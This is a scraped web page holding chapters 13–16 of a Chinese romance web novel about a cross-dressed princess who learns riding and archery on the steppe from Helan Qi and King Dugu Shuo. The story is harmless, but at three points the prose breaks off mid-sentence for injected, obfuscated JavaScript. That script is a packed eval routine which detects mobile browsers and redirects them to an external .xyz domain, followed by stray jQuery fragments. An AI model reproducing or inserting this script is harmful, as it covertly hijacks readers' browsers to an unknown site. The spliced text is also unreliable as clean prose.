接连几次都苏醒在男人怀中的花韵之懊恼,又几度忧心自己究竟有没有在床上大杀四方地踹人。也正因如此,花韵之时常关切地看向独孤朔。 而被那双小鹿似的眸子注视着,独孤朔往往会轻抚上花韵之的脸颊,缓声回答。 “公主,我并无事。” 五指纠缠着袖口,花韵之抿了抿唇,微微侧开头,没有理会独孤朔的安抚。 独孤朔似乎笑了笑。 “公主,可要与我出去走走?” 长久的静默后,公主又悄悄看了回来。 “……嗯。” 就像喜欢草原一样,花韵之是很喜欢在草原上漫步的。而对自小长在深宫的公主而言,草原的一切都有趣极了。 无论是那较比城中似乎更加蔚蓝的天,还是天上时不时飞过或盘旋的鸟儿,以及长长的青草与青草中藏匿的牛羊,都是那么的有趣,那么的新奇。花韵之恨不得日日都跑到草原上,哪怕坐着晒晒太阳,吹吹风都好。 独孤朔也常常陪着花韵之到草原上,或散步,或玩一些牧童常玩的游戏。 只是身为孤邙王,独孤朔终究无法日日陪着花韵之。可是草原并不安全,不放心花韵之独自一人外出太久的独孤朔沉吟片刻,便为花韵之寻了个骑射师父。 “你好!中原公主。” 艳阳高照,万里无云。 这是花韵之第一次见到那位骑射师父。 那位劲瘦高挑的深肤少年有着一双苔藓般的眸子。他说着腔调略怪的汉话,微微俯身,行了一个孤邙的礼:“我是贺兰岂。如果可以,希望中原的公主殿下能记住我的名字。” 贺兰岂? 莫名觉得这名字有些耳熟的花韵之顿了顿,才轻轻颔首:“见过贺兰公子。” 直起身,注视着细皮嫩肉的中原公主,贺兰岂笑了笑,便牵来一旁的小红马:“小红很乖巧,公主初学,骑这个比较适宜。” 那匹小红马似乎还未长成,莫说比起独孤朔那匹高大的黑马飞光,光是与寻常马儿比起来,也是幼崽的模样。 但花韵之并不排斥。 并没有对帅气高马的执念,也清楚自己是初学的花韵之轻轻应了一声,垂眸看向小红马。而原本正在草里拱来拱去的小红马似乎察觉到花韵之的目光,抬眼看了看他,便动了动鼻子,迈着优雅的步伐向他走来。 这实在是一匹漂亮的红马。 它的动作优雅,通体毛发也皆像红绸。只是,这匹优雅的马儿走到花韵之身前,却主动地垂下首,开始拱这位公主。 平心而论,小红马的力气算不得大,动作也算得温顺,但花韵之却有些茫然。 ……这是在亲近他,还是不喜他? 暗红的鬃毛在指尖流淌,花韵之不解地看向贺兰岂。 而也未曾想到小红会这般热情的贺兰岂愣了愣,随即笑道:“看来小红很喜欢公主呢。” 的确如此。 在贺兰岂为花韵之细细说明需注意的事宜,并亲自带着花韵之骑过一遍高马做示范后,身为初学者的花韵之便扶着马鞍,有些笨拙地跨坐上属于他的小红马。 而小红却没有像某些坏心眼的马一样,试图将显然不会骑马的花韵之颠下去。正相反,这匹过分同灵性的小红马甚至还主动寻觅着花韵之的节奏,带着花韵之在草场上慢慢跑着。 风声算不得疾驰,却也迎面而来。 长长的发尾荡起一个弧度,本不算修身的骑装贴上瘦削的身体,感受着颠簸,花韵之不自觉攥紧缰绳。而高马上,为保护公主,贺兰岂陪着花韵之一起在草场上奔跑。 苍鹰在蓝天之上盘旋,时不时发出几声鸣叫。漫无边际的草场似乎越来越大,嗅着如影随形的青草香气,花韵之只觉自己的心脏被埋进了土壤里,已经生根发芽,与这片大地惺惺相惜。 ……喜欢。 捉不住的风包裹着他,青草与苍鹰陪伴着他。 他好喜欢这种感觉。 而跑了三四圈后,自小被训练的小红马速度慢慢变缓。贺兰岂同时勒马,在公主身边停下。 “公主觉得如何?” 轻快的声音响起,高挑的少年微微俯身,凑近公主的面庞。自那难以言说的感受中拔出,注视着近在咫尺的贺兰岂,花韵之弯起了眼睛。 “很好。” 花韵之轻轻笑道:“贺兰公子教的很好。” 贺兰岂笑容灿烂:“是公主聪慧,我没有教公主很多。” 花韵之一愣,正要说些什么,贺兰岂便又道:“既如此,公主可要再跑几圈?” 顿了顿,看着少年诚恳的神情,花韵之终是将原本想说的话咽下。 “嗯。”他颔首道:“有劳贺兰公子了。” 纵马在草原上奔驰实在是令人身心愉悦。 唯有青草的天地让一切都一览无余,而这片土壤上生存的万物生灵都让花韵之感到不知缘何的幸福与快乐。随着花韵之渐渐习惯了马上的颠簸,小红马的速度似乎也快了起来。它带着花韵之在草原上跑着,一圈,又一圈。 直到夕阳西下,它甚至追着落日奔跑,似要将花韵之送到太阳里。 “好了,小红。” 还是贺兰岂拦住了小红马的痴心妄想。 一日的课程结束,身为师长的贺兰岂虚扶着花韵之下马。而看着脚步有些踉跄的公主,贺兰岂愣了愣:“公主可还好?” 不比在马上长大的孤邙人,深宫中长大的公主实在是娇贵。 花韵之的腿根又磨破了。 其实这样的经历,贺兰岂也有过。但那时的他太小,导致他一时都未意识到初学者骑马,会被磨破腿根。 不知轻重的少年以为公主是哪里不小心被挫伤,上来便要检查。而强忍着疼痛,清楚自己这次当真是不知节制才落得如此地步的花韵之避开了贺兰岂的手。 “……不必了,贺兰公子。” 花韵之轻弯了弯唇:“多谢贺兰公子,今日我受益匪浅,便先告退了。” …… “嘶……” 上药的手微顿,独孤朔抬眸看向花韵之:“很痛。” 低垂的鸦羽颤动,蜜棕色的眼眸早已浮上了层不散的水光。殷红的面颊藏着羞怯,指尖揪紧身下软被,花韵之无声抿紧了唇。 “……嗯。” 独孤朔的神情看不出什么变化:“我再轻些,公主的伤必须上药。” 已经不是第一次被磨伤的花韵之对此心知肚明,也没有推拒独孤朔的动作。注视着大片乳白色的软膏落到腿根的血红之上,花韵之面上的红色似乎更为浓郁,眸中的水光也化作了颤巍巍的泪珠,沉甸甸地挂在眼睫上。 “好了。” 终于。 最后一片红也被盖住,白纱缠绕上公主的大腿。将一切处理完毕后,独孤朔将花韵之彻底抱到了床上,并盖好被子。 “公主可还想学骑射。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983478|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 剥着葡萄的皮,独孤朔淡声问到。而花韵之抿了抿唇,终是轻轻点头:“……想。” 只是他真的能坚持下来吗? 花韵之从不认为自己是一个坚强的人。而虽未表现出来,但公主心底其实是有些挫败的。三次骑马两次磨伤,花韵之自己都觉得自己有些过分脆弱,像个身娇体弱的瓷娃娃。 花韵之其实不喜欢这样的自己,就像他不喜欢那些苦涩的汤药,但奈何他无法改变这具身体,无法改变这具自娘胎里带出弱症的身体。 ……孤邙王也会觉得他矫情吗? 思至此处,公主是心底蔓延开无言的酸涩,摇摇欲坠的泪珠将落不落。花韵之低垂下眼,注视着自己被缰绳磨出红痕的掌心——那里也被独孤朔包扎起来了。 “既然公主想学,那就继续学吧。” 水润的葡萄抵到唇上,花韵之愣了愣,抬眸看向独孤朔。 而以葡萄轻轻临摹着花韵之的唇,本就润的红唇似乎更润了,像是被人咬了一口的桃子。而注视着那双诱人的唇瓣,独孤朔的神情却依旧无甚波澜。 “我会命贺兰岂继续教导公主。只是公主要先养好伤。” 这无疑是一个好结果。 花韵之没有拒绝的理由,他轻轻点头,想要开口说些什么,葡萄却先趁机闯入了他的齿关。 “公主,吃完再说。” 抬手轻抚了抚花韵之脸颊,注视着兔子似乖巧的公主,独孤朔的声音平静:“公主今日可有记得喝水。” 眼睫微颤,花韵之低低应了一声。 独孤朔慢悠悠地扒着葡萄喂花韵之。而随着一小盘葡萄尽数入腹,花韵之的心绪也平静了许多。他依靠在床头,悄悄把弄着自己的小玩偶。 花韵之其实有些意外,独孤朔会为他选一位男性师长。 毕竟人言可畏,一个妃嫔与外男来往密切总归是不好。只不过,独孤朔好似从来不在意这些流言蜚语。何况仔细想想也无错,毕竟独孤朔清楚他的男子身份,想来也不会介意他与男子来往。 “这个玩偶,公主很喜欢?” 忽然,轻缓的声音流入耳间,打断思绪。花韵之愣了愣,抬眸看向独孤朔。 而独孤朔垂眸注视着那个小玩偶,似乎挑起了眉:“公主。” 指尖微微收紧,花韵之低低应了一声:“嗯。这是我幼时,母妃给我缝的。” 微微颔首,独孤朔似不经意开口:“很可爱,也很适合公主。只是有些眼熟。” 眼熟? 薄唇轻抿,花韵之沉默下来。 这个玩偶是他母妃自己绘制图纸,一点一点缝出来的。当时只绣了两个,一只被他赠予了…… 心脏似乎沉闷地跳了一下,修长的手指蜷起,花韵之勉强牵了牵唇角:“这个模样是我母妃所绘,不多见,但纹样相似的却是很多。王上……或许是在哪里见过相似的纹样。” 花韵之如此讲,独孤朔也没再说些什么,只淡淡道了句:“或许吧。” 而不知是疼痛,还是心头沉甸甸的压着事。 这夜的花韵之难得没有休息好。 他在床上翻来覆去,翻了许久才终于睡着。而昏昏沉沉间,他似乎被揽入了一个炙热的怀抱。 “怎么可以……怎么……忘记我。” 似有若无的声音自耳边响起,花韵之努力想要听清,却又怎么努力都听不清。 沉重的眼皮颤抖着想要睁开,而轻吻似乎落在了公主的眼上。 “好梦。” 不知是谁说。 14.骑射 公主的腿伤养了几日才好。 而在这些时日里,王为公主打造的护具也完工。当公主携着护具再度见到他的骑射师父时,却只看到了一个垂头丧气的落汤鸡。 “抱歉……公主。” 少年似乎从未这般丧气过。贺兰岂垂着首,不敢去看花韵之。他小声道歉道:“是我没有看顾好公主……公主的伤处可还痛?” 抱着护具,花韵之轻轻摇头:“已不痛了,多谢贺兰公子关心。此事非贺兰公子之过,贺兰公子莫要自责。” 说罢,对着小心翼翼抬起眼的贺兰岂,花韵之又弯起唇角,安抚性地笑了笑。 眉眼弯弯的公主温婉且娇俏,注视着此时认真看他的人,贺兰岂莫名觉得自己的脸有些烫。胡乱应了一声,贺兰岂同手同脚地牵来了小红马,又扶着公主翻上了马鞍。 有了护具,公主骑马便没有再磨伤了。 这无疑是一件好事,日后待花韵之习惯骑马,护具也无需继续佩戴。 只是这个过程注定漫长。而在日复一日的训练中,小红马日益长大,渐渐习惯马儿的花韵之也可以独自在草原上跑马。不过更多的时间里,他依旧和贺兰岂一起。 贺兰岂是一个有趣的少年。 纵使公主的年纪也不大,但也算嫁为人妇的花韵之在面对这些少年时总是怀揣着有些莫名的长者观感。因此对于贺兰岂偶尔跳脱的言行举止,公主从不会说些什么。 何况,花韵之很喜欢与见多识广的贺兰岂谈天说地。 骑行的过程不便交谈,但休整的时间却也不少。公主总是很喜欢那些自己闻所未闻,见所未见的新奇事物。九州万方辽阔,公主无法以双足丈量,便听别人讲,一点一点拼凑出那离他甚远的世界。 而贺兰岂恰好走过许多地方。 也正因如此,随着那一个又一个新奇的见闻,花韵之与贺兰岂渐渐熟悉了起来。 贺兰岂似乎将花韵之当做了姐姐,偶尔也会与他说一些不便与父母说的事情。但更多的时候,则是将自己的见闻添油加醋,讲给花韵之听。 只是贺兰岂不熟悉中原话,所以难免有些诙谐幽默的措辞常逗的花韵之弯起眼睛,忍俊不禁。 “公主。” 又是一日傍晚。 怀揣着新故事的花韵之心满意足地回到毡包,却险些撞入一个结实的怀抱。及时停步的花韵之抬首,看向如高山般立在他身前的男人。 “王上。” 蜜色的眼眸像流淌的蜂蜜,光是看一眼就让人甜到心里。独孤朔的目光从公主的眼无声落到公主的唇,而注视着那双樱桃似的红唇,独孤朔的神情依旧平静。 “公主今日可开心。” 无波无澜的声音毫无起伏,仍无法从独孤朔的神情里看出任何情绪的花韵之微微抿唇,斟酌地点了点头。但静默片刻,看着身前的王,有些好奇的公主又轻轻开口:“王上,罗荒野的土当真是常年冰封吗?” 独孤朔似是一顿:“公主为何这般问。” “今日贺兰公子讲与我听的。”似乎想起了什么愉悦的事,花韵之弯起眼睛:“他说,罗荒野的土常年冰封,种不出任何东西,连花草都鲜少能活。当真如此吗?” “不至于此。” 花韵之无故觉得独孤朔的神情似乎微微融化。高大的男人低叹了口气,淡声解释道:“但粮食是种不得的。” 解答完公主的疑惑后,独孤朔似不经意地开口:“公主喜好游记?” 花韵之沉吟片刻,点了点头,又摇了摇头:“算不得喜好……也算不得不喜好。怎么了,王上?” “无事。”独孤朔面无表情地俯身,握住了花韵之的手:“只是公主若喜欢,我也可以为公主讲。” 孤邙的铁骑几乎踏遍九州,而身为孤邙曾经征战四方的主将,独孤朔无疑也是见多识广的。但思至此处,花韵之的却唇不自觉抿起。 “……” 他没有挣脱独孤朔的束缚,可那低垂的眼帘仍彰显了公主的情绪。沉默片刻,独孤朔忽道:“长短弓已制造完成,公主可要前去一阅。” 虽说是习骑射,但花韵之当下只在习如何骑马,并未习如何射箭,贺兰岂也全然未提及此事。 不过公主并不是贪心不足的人。清楚骑射要先打好基础的花韵之也乖巧的习着,从未提出任何异议。 直到今日,独孤朔终于提起此事。花韵之愣了愣,终是轻轻点头:“……多谢王上。” 红日没有灼烧公主的肌肤。 纵使日日都在大太阳下跑马,花韵之却依旧雪白,只是面颊上多了几分清浅的红晕,衬得他愈发动人。 夕阳西下。 残阳如血烧红大片云彩,长长的影子坠在身前,花韵之垂眸注视自己与独孤朔连在一起的影子。一大一小两个影子交融的很好,似是不分彼此。可注视着那两个影子,公主的指尖却蜷起。 工匠做了一把长弓,一把短弓。 军中的弓箭公主拿不动,先前在大鲜卑山所用的女眷弓于公主而言也有些沉。而每人的喜好与擅长皆不同,需在训练过程中慢慢摸索,独孤朔便命人造了长短各两把弓,只待花韵之试出自己更擅长那只。 “公主。” 简易的草靶竖立,一短一长两把弓立在弓架之上,独孤朔示意花韵之上前取下一支。 而缓步上前,花韵之迟疑片刻,终取下了那把长弓。 花韵之是货真价实的不善武艺。而较比他先前所使用的弓,这支显然要轻很多,弓弦也不再需他以全部力气才能拉开。握着长弓,花韵之行至草靶前,轻抿了抿唇,才有些踌躇的看向独孤朔:“王上……” 他不会射箭。 先前在围猎时的那几箭,打下的那几只猎物,就没有一箭是按照公主心意飞出去的,全都是误打误撞射中。纵使公主会为此开心,也不代表他并不清楚自己的能力。 “公主,不必忧心。”垂眸注视着公主,独孤朔缓缓开口:“日后,我会亲自教导公主骑射。” ——亲自教导? 蜜色的眼眸不自觉睁大,花韵之猛地愣住。 …… 独孤朔是一位好师长。 在扶着公主的手臂射出几箭后,他便退到一旁,指点公主。 “公主,手臂再高些。” 挽弓,搭箭,抬高手臂。 鬓发早已被汗水打湿,努力瞄准草靶的花韵之紧抿双唇,放开弓弦。 下一瞬。 长箭飞出,刺穿草靶。 震颤的箭尾晃动,纵使这箭也没有射中靶心,但对于十箭能有九箭扎进草里不见踪影的花韵之而言,也是肉眼可见的进步。 “做得好,公主。” 花韵之屏息注视着那只箭尾,眼睫却像蝶翼颤动。 这是他第一次射中靶子。 这是他第一次独自射中靶子。 心脏跳的有些急促,呼吸也是。红扑扑的小脸像早已成熟的苹果,花韵之看向独孤朔,不自觉抿唇笑起:“多谢王上。” 似乎是熟能生巧,也似乎是掌握到了什么诀窍。在此之后,花韵之又射了几箭,箭箭命中草靶。 而随着一箭又一箭的射出,荡漾的情绪像掉到井里的西瓜,炸的公主甜蜜蜜的。而肉眼可见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004216|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主的小脸也更红了。 太阳将要彻底落下,王轻轻开口,止住了想要继续挽弓的公主。站定于花韵之身前,看着兴奋且愉悦的少年,独孤朔淡声开口:“公主,时辰不早,该回去了。” 花韵之一向是乖顺的。 纵使已自射箭中获得乐趣,但孤邙王的话语仍让花韵之乖巧地放下长弓。他什么都没有说,也没有流露出半分的不情愿,甚至还主动对着独孤朔弯唇笑起。 明媚的公主笑得漂亮极了,就像迎风绽放的山茶花。而注视着花韵之的笑颜,独孤朔的指尖却难以遏制地颤了颤。 “公主。” 王扣住了公主的腕。 凌厉的眉眼低垂,用力握着纤细的公主,王的声音很低。 “……再练下去,手臂会痛。” 生涩的解释令公主眨了眨眼,随即恍然大悟。 “多谢王上关心。”花韵之眉眼弯弯:“我知晓了。” 他说。 …… 落日时分,草原上的太阳总会与月亮遥遥呼应。 迎着太阳,背着月亮,花韵之与独孤朔回到了营地。 简单地用过晚膳后,忙碌了一天的公主褪去衣袍,在毡包内沐浴洗漱,准备上榻休息,好好的睡上一觉。 独孤朔的毡包不会有人来打扰,而公主沐浴之际,他往往也不在毡包之中。只是今日,花韵之刚自浴桶中钻出,拖着湿漉漉的长发披上里衣,毡包外便传来愈来愈近的脚步声。 “王上?” 拖着长调的声音戏谑,却也有些耳熟。正在擦拭长发的花韵之愣了愣,回眸看去,便看到了一个熟悉的影子。 “王上在否?” 那个影子站定在毡包外,语气懒洋洋的,透着难以言说的漫不经心。而迟疑良久,裹好里衣的公主终是抿了抿唇,试探性地答道:“王上……不在。” 营帐外的影子顿了顿。 “公主?” 原本算得怪声怪气的声音几乎是在瞬间恢复如常,孤邙话也变作了流利的中原话。把玩着手中玉佩的完颜陌猛地抬眸,看向面前毡包。 而辨认出来人的花韵之抿了抿唇,轻轻应道:“嗯……完颜万夫长是有什么急事吗?” 指尖拂过玉佩,完颜陌如本能般弯起唇角,勾出一抹在他唇边莫名突兀的温和浅笑。 “不,没有。”完颜陌放缓了声音,近乎安抚道:“我只是有些小事,有些……不值一提的小事,想要寻王上。若是王上不在,那我便改日再来。” “公主,告辞。” 独孤朔很快便回来了。 已经将头发擦的半干的公主倚在床头,翻看洗漱前独孤朔便为他寻来的游记。只是被身上水珠打湿的里衣单薄,贴在瘦削的躯体上,半隐半露着雪白的肌肤。 独孤朔一顿,很快便落下了门帘。 “公主。” 行至榻边,独孤朔垂眸注视着抬首看他的公主。全然不知自己当下的模样究竟有多么暧昧的花韵之对着独孤朔轻笑了笑,缓缓开口道:“王上,方才完颜万夫长来过。” 独孤朔一顿,轻轻颔首道:“我知晓了。” “只是公主。”卸下外袍,独孤朔将其披到了花韵之身上:“草原夏夜亦寒凉,公主如此穿着,恐染风寒。” 宽大的的外袍裹着娇小的公主,男人的气息如影随形。轻拽了拽肩上外衣,花韵之抿唇笑起:“多谢王上,是我未注意。” “不必,公主。” 抬手撩过花韵之的长发,独孤朔神色淡然。他取起一旁的软巾:“这般入睡会头痛,我为公主擦拭,可好。” 15.干草 君无戏言,或许当真如此。 自那日许诺后,无论政务有多少,无论有多么繁忙。每日太阳落山前,独孤朔都会亲自教花韵之骑射。 日日不落。 一望无际的草原辽阔,风拂过不知何时泛起黄意的青草,沙沙作响。跨坐在彻底变得高大的红马上,公主一次次纵马奔腾,又一次次持弓射向布在草原间的草靶。 他并不熟练,动作也比不得常年骑射者连贯美观,但每一箭都会射中草靶,纵使没有命中靶心。 “公主很棒。” 随着花韵之翻身下马,独孤朔以软帕擦去他额角的汗珠。直白的夸赞令花韵之有些羞怯,却也有些骄傲。但今日没有脱靶的花韵之终是轻轻笑起:“多谢王上!” 花韵之当真是不善习武。 虽已练习骑射十数日,但一到马上,原本已能箭箭射中草靶的花韵之便常会射歪射斜,偶尔有几箭命中草靶,也只是勉强在边缘摇摇欲坠的挂着。 但今日,花韵之的每一箭都中了靶子。 回程路上,高大的红马乖巧地跟在公主身后。而指尖被男人包入温热的指尖,公主暗暗发誓日后都要射的这么好。 可是光阴如梭。 随着红日东升西落,来到草原的公主还未来得及变得矫健,射出的飞箭也未来得及命中靶心,漫无边际的葱葱青草便在悄无声息间染上了秋的色彩。 属于孤邙的夏走入了尾声。 …… 北地的夏热的并不久。而随着酷暑结束,避暑自然也要结束。毡包早些时日便被零星拆除,像一朵朵被折掉的蘑菇,却只能等到来年再长出。 泛着凉意的风撩起长发,骑装包裹着花韵之瘦削的身体。再次离开营地的公主垂眸看了看身下长草,便理好衣摆,轻轻坐下。 长弓落在身旁,支起的腿托着手臂,精致的下巴放在上面。注视着随风荡漾的草浪,注视着远在天边的鸟儿,花韵之沉默了很久很久,终是将自己的脸埋入了臂弯。 “……” 他好像,有一点不舍。 可是花韵之又不明白自己为什么会不舍。 草原并不是他的故土,草原的风土人情更与江南南辕北辙。 可难言的情绪终是缓缓溢满心脏,而随着太阳渐渐落下,在草原上枯坐了一日的花韵之拿起自己或许再也不会用到的长弓,转身回到了营地。 月升,月落。 翌日的太阳亦是前日的太阳,却照耀着不同往日的草原。金色的草浪摇曳,天空愈发澄澈,牛羊日益丰满。长长的车队链接了草原与黑水,浩浩荡荡的人群顺着自北向南的风回到了王都。 公主也回到了皇宫。 颠簸的路程总是无法令人习惯。在回到皇宫的当日,几乎沉默了一路的花韵之便将自己一头扎进了寝殿。他埋在软软的被褥中,睡了个天昏地暗,就连独孤朔何时来到的身旁都不知晓。 花韵之生来体寒,有些畏冷,一向是蜷着身子裹着被子睡。而也因此,在被男人圈入怀抱后,花韵之便本能向着热源靠近,不知不觉就枕上了男人的手臂。 男人的怀抱极暖。 一路颠簸的公主疲倦。此时蜷缩在男人怀中好好睡了一觉,莫说不知何时紧绷起的思绪,就连早已酥麻的骨肉都像饮饱水的枝叶,缓缓舒展。 这一觉直接自傍晚睡到了清晨,翌日,迷迷糊糊睁开眼的花韵之便看到了一个近在咫尺的人。 “公主醒了。” 鼻尖贴着鼻尖,垂眸注视着怀中人懵懂的双眼,独孤朔放轻声音。而窝在他怀中的公主静静注视他片刻,忽地弯起唇角,露出一个甜蜜蜜的笑。 “嗯。” 人虽醒了,但花韵之的大脑却一片混沌。他似乎还认为自己在草原上、在毡包里,并未觉得独孤朔在他身旁有什么问题,甚至还主动向独孤朔的怀中靠近了些。 好暖。 公主心满意足地眯起了眼。 独孤朔很喜欢初醒的花韵之。 纵使花韵之一向乖顺,但将自己当做礼物、当做下位者的乖顺并不是独孤朔喜欢的模样。 公主的想法王心知肚明。但对于花韵之自视甚低的习惯,一向不擅长和人打交道的独孤朔其实也没有什么改正的好方法。他不知道自己怎么做才是最好,便只能用最笨、也最慢的方式,不停的对花韵之好,试图让花韵之明白他的真心,也明白自己的重要。 在王亲自替公主更衣后,迷茫的公主也终于恢复了清醒。 注视着铜镜中正在为自己梳发的独孤朔,花韵之后知后觉地意识到了什么不对——为什么他醒来时,独孤朔又在他身边? 这不是第一次,已经熟悉了独孤朔气息的公主也不如曾经那般惊惧。可还是有些不习惯的花韵之轻抿起唇,微垂下眼。 但纵使心里觉得奇怪,花韵之也不会对独孤朔陪他提出什么异议。他只是在用早膳时轻轻看了一眼独孤朔,又看了一眼独孤朔。 “公主。” 蜜色眼眸水润又怯怯,像是两颗还未长成却已圆润的果子。在公主欲言又止的目光下,独孤朔面不改色地开口:“怎么了。” 王的语气平静,花韵之却欲盖弥彰地垂下首,将自己的脸埋到了碗中,试图装作无事发生。 可在公主假装吃饭的时候,一小块排骨却轻轻落到了他的碟上。 目光缓缓移到那只排骨上,注视着排骨,当下已经饱了的花韵之顿了顿,随即紧抿双唇,如临大敌。而看着花韵之凝重的神情,独孤朔不着痕迹地弯了弯唇角。 “公主方才看我做什么。” 终于,不知过了多久。 劝好自己的花韵之缓缓夹起排骨递到唇边,独孤朔亦似漫不经意地开口。 排骨是糖炒的,很甜,公主也刚好嗜甜。但花韵之只轻轻含住排骨,还未来得及咬下,独孤朔的问题便让本就心虚的公主有些慌乱地抬起了眼。 ——像一只叼着干草的兔子。 注视着莫名无措的公主,突如其来的联想冲入独孤朔脑中。但看着那双颤巍巍的蜜色眼眸,他终是神色不变,淡声问道:“可是有什么事。” 花韵之轻且快地摇头。 独孤朔又道:“那可是我脸上有东西。” 不自觉咬下排骨,花韵之想说些什么,却又不好吐出排骨。他开不了口,但独孤朔却好似并未看出公主被排骨堵住嘴的无助,稍稍逼近他的面庞:“若是有东西,公主为我取,可好。” 男人的气息无声将花韵之包裹,公主终于不能再胡思乱想了。悄无声息地红了耳根,有些手足无措的花韵之看着独孤朔的面庞。眼睫微颤,花韵之终是轻轻抬手,以指尖擦过了独孤朔的面颊。 “多谢公主。” 柔软的指尖带来浅淡的香气,萦绕鼻尖。注视着公主的眼,独孤朔一本正经地道谢。 而胡乱应了一声,花韵之避开独孤朔的目光。 可他的耳朵却似乎更红了。 …… 用过早膳,独孤朔去忙碌,花韵之就变得无所事事。 在殿内翻看了会游记,回程时已经看了一路游记的公主无故觉得有些无趣。放下书册,花韵之静坐了片刻,却不自觉回忆起与小红在草原上疾驰的光阴。 薄唇轻抿,心脏像被装进了酸酸涩涩的果子里,皱皱巴巴的难受。花韵之觉得自己不该这样想,而为了转移注意,他又看向正以草编着些什么的鹊枝。 干草落满了桌子,而花韵之就静静看着,也不出言打搅专注的鹊枝。而鹊枝一向心灵手巧,不过片刻便十指纷飞地编好了两只精巧的青绿鸟儿,拎着鸟儿奔到了花韵之的面前。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018187|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主!” 鹊枝兴奋极了:“瞧,这鸟儿像不像真的?” 两只展翅的草编鸟儿悬在细细麻绳下,若离远些看去,还当真像两只色泽略独特的鸟儿。 好奇地抬手,以指尖轻触了触鸟儿,花韵之不自觉弯唇看向鹊枝:“像真的。鹊枝,你何时学的,怎编的这般好。” 纵使足够手巧,但先前的鹊枝只精于女工女红,并不会草编物什。而此时,鹊枝嘿嘿一笑:“我在草原上和孤邙的那些牧童们学的!听他们说,这草扎的鸟儿遇到风还会晃,便更像真的了。” 说着,鹊枝将一只鸟儿递到了花韵之面前。 “公主可要试试?” 于是,景园中。 艳阳高照,拎着摇摇晃晃的草扎鸟儿,花韵之迎着晚夏凉爽的风,漫步在青石板路上。已有些枯黄的落叶被足尖碾过,景园的花儿们摇曳着,时不时擦过长长的裙摆,似是在挽留已许久未来过这片天地的公主。 “果真是有趣。” 潺潺流水敲击着石块,清透的声音自远处传来,垂眸注视着手中似乎真的要飞起来的青绿鸟儿,花韵之轻轻笑道:“鹊枝真是厉害。” 花韵之的夸赞鹊枝显然颇为受用。她脚步轻快地来到花韵之身旁,当即就拍着胸脯表示日后要为花韵之编更多的东西解闷。 “公主就放心吧,我跟着牧童们学了很多呢,现在什么都能编出来!” 花韵之自然不会打击她。 “好。”花韵之温声应道:“多谢鹊枝,那我便等着了。” 那只草编的鸟儿,最后被花韵之悬在了窗前。 可它实在栩栩如生。只不过几个时辰,便时不时有鸟儿立在窗前,好奇地打量着这只草编的同伴。花韵之倒也无心驱赶它们,而是唤侍女去取了些粟米,落在窗边小碟中供鸟儿饱腹。 是夜。 披星戴月的独孤朔归来时,便看到了那只晃悠悠的草鸟。而桌案旁的花韵之捻着墨笔,迎着火光婷婷而立。夜风无情,窗边烛火忽明忽暗,却临摹着他的容颜,天边月光正好,衬得花韵之愈发像自古画中走出的精怪妖邪。 不谙世事,却又动人。 修长的五指在墨笔的衬托下愈发苍白,蜜色的眼眸映着大片色彩,随着最后一笔落下,灵巧生动的青绿色鸟儿跃于纸上。 那是那只草扎鸟儿。 但圆滚滚的鸟儿不复草扎时的纤细模样,倒像一个青绿色的圆球。它微微侧着头,立在被它压的稍弯的树枝上,似乎正好奇地看着画外的人。 “公主。” 仔细端详过画作,满意的花韵之轻轻放下笔,沉甸甸的外衣也落到了他的肩头。宽大的手掌握着瘦削的肩,花韵之回眸看去,便对上了那双灰蓝色的眸。 “王上。” 抿唇笑起的公主柔婉。 而独孤朔颔首应下,便垂眸看向桌案上的画。 “公主画的真好。” 注视片刻那只圆滚滚的绿鸟,独孤朔又抬眸看向花韵之:“公主画的可是窗边的那只草扎鸟儿。” 直白的夸赞总是令内敛的公主有些不习惯,花韵之抿了抿唇,悄无声息地红了耳尖。 但他还是轻轻点头。 “王上好眼力。” 独孤朔淡声道:“公主画的好,当不得好眼力。” 这就有点瞎说了。 虽然花韵之的画工的确精巧,但他能将那只苗条的鸟儿画成球,怎么也算不得写实,在这方面更算不得画的好。 不过自己对这幅画很满意的花韵之不觉得这话有什么问题,独孤朔更不会觉得有问题。 落在肩头的手一路向下。独孤朔微微俯身,拉住花韵之温凉的指尖。 “不过,我今日恰巧寻觅到一个关于鸟儿的故事。” “公主可想听。” 16.纸鸢 初回黑水的几日没有早朝。 但独孤朔依旧醒的很早。往往太阳刚刚升起,他便已经睁开了眼,静静注视着花韵之的睡颜。 公主一向是美的。 一如声音,花韵之的容颜亦雌雄莫辨。天地阴阳在他的面庞上融合的极好,既不会让人觉得过分阳刚,又不会让人觉得过分阴柔。对男扮女装的公主而言,这一切都刚刚好。 